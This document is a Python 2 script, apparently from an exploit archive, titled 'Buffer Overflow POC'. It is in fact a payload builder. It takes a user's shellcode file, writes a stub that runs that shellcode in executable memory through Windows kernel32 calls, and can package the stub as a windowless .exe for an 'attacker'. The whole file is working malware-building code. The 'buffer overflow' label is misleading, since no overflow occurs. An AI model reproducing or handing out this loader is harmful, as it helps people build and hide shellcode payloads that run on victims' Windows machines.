Python 2.x Buffer Overflow

`#!/usr/bin/env python  
  
###  
#Exploit : Python 2.x Buffer Overflow POC  
#Tested on : Windows XP , Windows 7  
#Authors : Sultan Albalawi & Chaitanya [@bofheaded]   
#Discovery date : 21/jan/2017  
#GitHub : https://github.com/ChaitanyaHaritash/My-Exploits/blob/master/python2.x_bof.py  
#Video : https://youtu.be/hcc6Y55PWBg  
#Image : https://postimg.org/image/dn5x3ww9v/  
###  
  
###  
# Usage ::::  
###  
#1. Run exploit.py  
#2. Save your shellcode into some text file  
#3. Input Path of text file containing shellcode  
#4. The .py file will be generated with shellcode.  
#5. *Optional - Attacker just need to select option 'y' in running code.. and can have .exe payload from .py code generated :)  
  
###  
# NOTE ::::  
###  
#pyinstaller must be installed if user wants exe payload from python payload generated initially  
#This exploit is windows compatible :)   
  
#calc.exe shellcode =>  
#http://pastebin.com/vBssgg99  
  
import time,shutil,os,sys  
if os.name == 'posix':  
print "Sorry this exploit is not compatible to linux :( "  
exit()  
else:   
  
banner = """  
Python 2.x Buffer Overflow POC  
Authors : Sultan Albalawi & Chaitanya [@bofheaded]  
Susupcious Shell Activity [SSA]   
"""  
print banner  
class make:  
def __init__(self,):  
print ""  
def fii (self,):  
print ""  
if __name__ == '__main__':  
  
shell = str(raw_input('Input Path To Your shellcode.txt file >> '))  
  
txt = open(shell)   
myshell = txt.read()  
raw = """  
import ctypes  
ban=10  
for i in range(ban):  
print "|/"*i  
shellcode = bytearray("""+myshell+""")  
myci = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),  
ctypes.c_int(len(shellcode)),  
ctypes.c_int(0x3000),  
ctypes.c_int(0x40))  
  
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)  
  
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(myci),  
buf,  
ctypes.c_int(len(shellcode)))  
  
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),  
ctypes.c_int(0),  
ctypes.c_int(myci),  
ctypes.c_int(0),  
ctypes.c_int(0),  
ctypes.pointer(ctypes.c_int(0)))  
  
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))  
"""  
  
f = open ('stub.py' , 'w')  
f.write(raw)  
f.close()  
print "done !"  
  
build_exe = str(raw_input('Would You like to have an executable payload ? (y|n)>> '))   
if build_exe == 'y':  
os.system('C:\Python27\Scripts\pyinstaller --noconsole --onefile stub.py')  
print "Please Wait ...."  
time.sleep(2)  
else:  
print ('byee')   
  
make()   
`